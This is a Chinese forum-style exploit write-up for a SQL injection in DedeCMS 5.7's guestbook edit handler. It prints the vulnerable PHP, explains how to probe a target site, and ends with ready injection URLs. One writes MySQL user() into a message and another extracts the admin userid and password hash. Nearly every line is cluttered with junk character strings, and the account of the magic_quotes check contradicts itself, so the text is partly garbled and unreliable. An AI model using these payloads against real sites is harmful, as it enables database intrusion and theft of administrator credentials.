影响版本为5.7
4 K/ z8 n7 K# m$ c8 O7 j7 \. |
漏洞文件edit.inc.php具体代码:& X4 t. {( a0 m% P
" @" E2 ?% d" o m' v# M0 m
< ?php
/ g1 @- N- W- r k9 {& G' J( _. X; @+ t) l( V1 i9 d) t
if(!defined('DEDEINC')) exit('Request Error!'); ) h- U7 E. W) T: S$ [: g
3 r* _7 F- |: w: h- w9 E* s
% E% M/ k' q0 k/ b
* |0 y1 U; \5 R4 A3 S+ Y+ n
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; - @% b9 \. h1 U' w8 ?+ o7 i1 j
- @& g) V: R; A# B$ Eelse $GUEST_BOOK_POS = "guestbook.php";
( P0 s4 f% B% N5 h: s! M
) S7 {7 f* t; X7 ] l% E4 W1 t
2 l/ e7 S6 D& k( D$ j% ]$ \- o! Z7 _; R2 ^% m0 L$ K
$id = intval($id);
9 v: d1 T, q6 h- A' J1 B' I. F8 J# g0 o
if(empty($job)) $job='view'; e4 i5 n4 e) ?* q$ z) g
4 d4 O: f; h% o4 q( t! c% ~# R
7 M8 i5 A) s. z" O
" Y5 N8 E" s! A$ r( Q
if($job=='del' && $g_isadmin)
! B* p! v) E; p ?. J0 m9 p; Q6 h" H; T
{ # j; o! u: ]9 t: c* [ H
+ [0 W$ x: e; w- W. r6 c$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); 5 V8 Q* _$ w: R4 J0 C+ v. i! X
, @. e" ]# n$ P2 j( O) ]8 NShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); 5 H) g; D& t* }+ X
0 Y3 G w- r$ c; M' w7 b9 a$ Cexit(); 3 _ K7 q( Z. }9 ~3 ?
% V: H8 R5 T' p; m7 I, R, A9 o}
2 Z* v: e( j8 X* N8 ^0 \8 i( E7 Y6 w1 E9 d/ W; ~
else if($job=='check' && $g_isadmin)
+ ?# m3 I( O; H* }+ v
( \3 @: W$ I7 w" d6 Y* x! p{ 9 ]- m; V# y+ _
1 M8 S2 P& b# f3 r) c5 z# n( |8 }5 W$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); ( Q+ D- e+ [: u' N; p. b, \9 e
1 O3 \6 [ F6 [3 G1 H: z
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
# a0 @; M9 k& O% @8 I3 ^% g
" t4 N& R* {* j( q1 S" u6 Kexit(); 5 _3 ?* `) u7 |
* A! t! M. k% V} " x; e: }2 r8 g2 u6 T
+ V4 f( ? T! g9 M/ V4 D xelse if($job=='editok')
( y* I2 n* o Q! X i9 _- g
5 \' K h- D# v+ G) m; b/ Z9 E' l{
0 i( b6 ]& C2 P+ T4 [
; X" H5 Y+ I/ S2 v$ x7 R4 ~: U/ C$remsg = trim($remsg); 4 v4 A# z, r$ X' V8 m4 s
+ F; K/ p$ u# B6 c7 c& k3 X6 bif($remsg!='')
5 u- P, I' y$ T8 r6 Q9 A
9 K& I5 L s5 f) v& h{
3 Y7 J- q* y% Y) _/ {, Y$ z6 E8 v* p, L+ }; B* N- @
//管理员回复不过滤HTML By:Errorera blog:errs.cc
& B* ?( Z) E; P+ q6 o6 ~$ `$ X7 B2 j( G5 E& R$ |! U
if($g_isadmin)
0 i/ a6 o4 ]$ E
' Q, X9 r* X0 q/ Y g{
3 P; f; B6 V1 X h) ]8 J" F1 M' w6 R2 X8 X. H& k
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; & m* L# c& K) g- h, w$ a$ D
8 w, `( f% C( p* J: G, ~' H5 L//$remsg <br /><font color=red>管理员回复:</font> }
9 F8 [, u) w5 d$ w
9 N+ d7 R1 c/ `" D1 E; ]else , }9 f! T3 A/ g
- b' b K* }/ e( C
{ , Z/ u; ^: S- ~) R( ]. o2 y- R
: x5 t. t \4 F( H0 Y
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
6 s) c4 z4 b0 p' e ^& x8 s7 v. x4 n7 ]8 ]+ f: j# X
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; # D: Z$ F2 F4 k, f
* ?9 A. p4 l: k& M& L6 H ?
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
1 W. S9 I7 A/ [' X
& k9 S( m3 `7 w* I& a. f$msg = $oldmsg.$remsg; ' B9 p2 a y3 Z, [; d7 K! E+ Y
. [, d* }; _. ]- Z3 ?5 \. @
}
; ?3 M2 L+ @3 t$ D3 K9 R) b7 o* K5 e+ S$ U6 Y
} 9 ?3 p6 L7 p% I, S* \8 `- e8 d/ Q
5 A* j) _* v8 c) h' ?//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc 1 v. j0 V3 a$ r" Z8 @0 |3 C# J
) u% B. t! Q8 k( w) b/ J, G# J
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
$ U/ I/ I$ L$ d: B# Q$ l$ r* B- c: s+ f) ^
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
: J& c- D& \7 z! c- H
4 Q- Y9 ]2 Q% {1 Xexit();
1 {. n( w9 f! x0 J m; b
* _* \/ a* J! `. c3 L$ v1 @6 b} 8 z% I4 W, t1 ]3 {
( ?; ]! g5 ^+ c* E% X
//home:www.errs.cc
, Z9 v* d4 f: Z# [. e
& g7 F& I& A+ G" i, Dif($g_isadmin) + f$ k: \' T" G; F S( E% ?
3 W* X+ _5 O$ i f$ a{ 8 L3 _1 D" E( s; B& @
" `3 d; K) g- t& e$ E& H$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); 7 s' l+ _) ?1 d! w% p* c: z, e
3 b5 E% b1 }+ f# j6 ]require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); ' ?4 _! M7 G3 ^/ s6 U
! p! J. f0 ? V9 n( O}
4 ~3 x/ A$ z- ^( [7 U- q, ^/ v# [' h% O0 G3 m
else # j) \" _8 O4 a2 f" \
# e( _' {, j( G ^' k" U
{ . k* G. n' l4 T3 H
) t6 {: i& n; H/ W
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); 1 G9 B6 T+ W2 c
0 j( N4 X0 v+ B, k5 |) R! r3 k0 y0 }require_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); 8 X* i+ H5 V2 n, x; u
, J j2 M/ J: K) H- n
} 漏洞成功需要条件:
- e: q7 e' J( p% N. Q1 `1. php magic_quotes_gpc=off' Y) g8 g- u' o/ Z; m7 a8 t+ p2 p
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
7 N, s' Q- C3 S, T. o
3 V& b& t% R" M4 N8 y+ z( r怎么判断是否存在漏洞:
: P/ W( K* k( y* J先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,9 R" `6 Q4 z; r9 X, u- Q5 J3 p6 U
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
% ~' F, H% u$ H访问:
/ \7 R# L# a1 X2 ^% @! S. p1 K
" m5 p! H9 s! u8 V; W+ A5 Wwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
' F- Y# K" l) S: y" y跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证7 I4 q5 L9 n. f' c" T
" j. D; g2 h4 _6 M1 p7 y' j% |" j1 ^( P6 l" }2 [# C+ E8 p
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off1 q1 O+ ^. Z$ O% {) M, |
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。' d+ x: P% v1 V8 l$ ^
那么再次访问2 z4 L( |1 j" V/ o
4 l2 Y, U: Y. S% ?6 u1 ~
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().: M1 Q4 p% L9 G# T# @
# c g' N2 {+ {+ f2 U9 g
大概利用就是这样,大家有兴趣的多研究下!!
* `) g# i, [* f/ e; [0 K7 o+ C4 j/ N& s6 x
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!! f" k5 w% ^- q( j$ D( S: v5 r
2 J$ Z- S s, D* g5 N
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |